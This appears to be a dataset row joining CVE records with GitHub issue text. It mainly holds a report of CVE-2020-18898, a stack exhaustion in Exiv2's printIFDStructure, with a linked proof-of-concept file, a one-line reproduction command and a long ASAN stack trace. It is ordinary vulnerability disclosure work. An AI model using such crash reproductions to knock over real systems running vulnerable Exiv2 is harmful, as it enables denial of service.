https://github.com/ntu-sec/pocs/blob/master/libpff-4938b7a/crashes/huaf_libpff_item_tree.c%3A828_1.err.SIG06
https://github.com/ntu-sec/pocs/blob/master/libpff-4938b7a/crashes/huaf_libpff_item_tree.c%3A828_2.err.SIG06 | AddressSanitizer: heap-use-after-free at libpff_item_tree.c:828 | https://api.github.com/repos/libyal/libpff/issues/62/comments | 1 | 2018-06-23T06:52:35Z | 2018-07-13T16:12:36Z | https://github.com/libyal/libpff/issues/62 | 335,075,201 | 62 | 2,350 |
CVE-2020-18898 | 2021-08-19T22:15:07.293 | A stack exhaustion issue in the printIFDStructure function of Exiv2 0.27 allows remote attackers to cause a denial of service (DOS) via a crafted file. | {
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"exiv2"
] | Hi there,
An issue was discovered in Exiv2::Image::printIFDStructure function in image.cpp, as distributed in master and version 0.27. There is a stack exhaustion problem caused by the in printIFDStructure function making recursive calls to itself.
Here is the POC file. Please use the “./exiv2 -pR $POC” to reproduce the bug.
[POC.zip](https://github.com/Exiv2/exiv2/files/2960549/POC.zip)
The ASAN dumps the stack trace as follows:
```
ASAN:DEADLYSIGNAL
=================================================================
==621==ERROR: AddressSanitizer: stack-overflow on address 0x7ffcbaecbff8 (pc 0x0000004d6c3f bp 0x0ff43348f15c sp 0x7ffcbaecc000 T0)
#0 0x4d6c3e in __sanitizer::mem_is_zero(char const*, unsigned long) (/exiv2/build/bin/exiv2+0x4d6c3e)
#1 0x4c0f11 in __asan_region_is_poisoned (/exiv2/build/bin/exiv2+0x4c0f11)
#2 0x466332 in printf_common(void*, char const*, __va_list_tag*) (/exiv2/build/bin/exiv2+0x466332)
#3 0x468dbd in __interceptor_vsnprintf (/exiv2/build/bin/exiv2+0x468dbd)
#4 0x7fa19a17fcde in Exiv2::Internal::stringFormat[abi:cxx11](char const*, ...) /exiv2/src/image_int.cpp:48:23
#5 0x7fa199f05fe5 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:415:24
#6 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#7 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#8 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#9 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#10 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#11 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#12 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#13 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#14 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#15 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#16 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#17 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#18 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#19 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#20 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#21 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#22 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#23 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#24 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#25 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#26 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#27 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#28 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#29 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#30 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#31 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#32 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#33 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#34 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#35 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#36 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#37 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#38 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#39 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#40 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#41 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#42 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#43 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#44 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#45 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#46 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#47 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#48 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#49 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#50 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#51 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#52 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#53 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#54 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#55 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#56 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#57 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#58 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#59 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#60 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#61 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#62 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#63 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#64 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#65 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#66 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#67 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#68 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#69 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#70 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#71 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#72 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#73 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#74 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#75 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#76 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#77 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#78 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#79 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#80 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#81 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#82 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#83 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#84 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#85 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#86 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#87 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#88 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#89 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#90 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#91 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#92 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#93 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#94 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#95 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#96 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#97 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#98 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#99 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#100 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#101 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#102 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#103 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#104 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#105 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#106 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#107 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#108 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#109 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#110 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#111 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#112 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#113 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#114 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#115 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#116 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#117 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#118 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#119 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#120 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#121 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#122 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#123 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#124 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#125 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#126 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#127 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#128 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#129 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#130 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#131 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#132 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#133 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#134 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#135 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#136 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#137 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#138 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#139 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#140 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#141 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#142 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#143 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#144 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#145 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#146 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#147 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#148 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
#149 0x7fa199f08468 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /exiv2/src/image.cpp:446:29
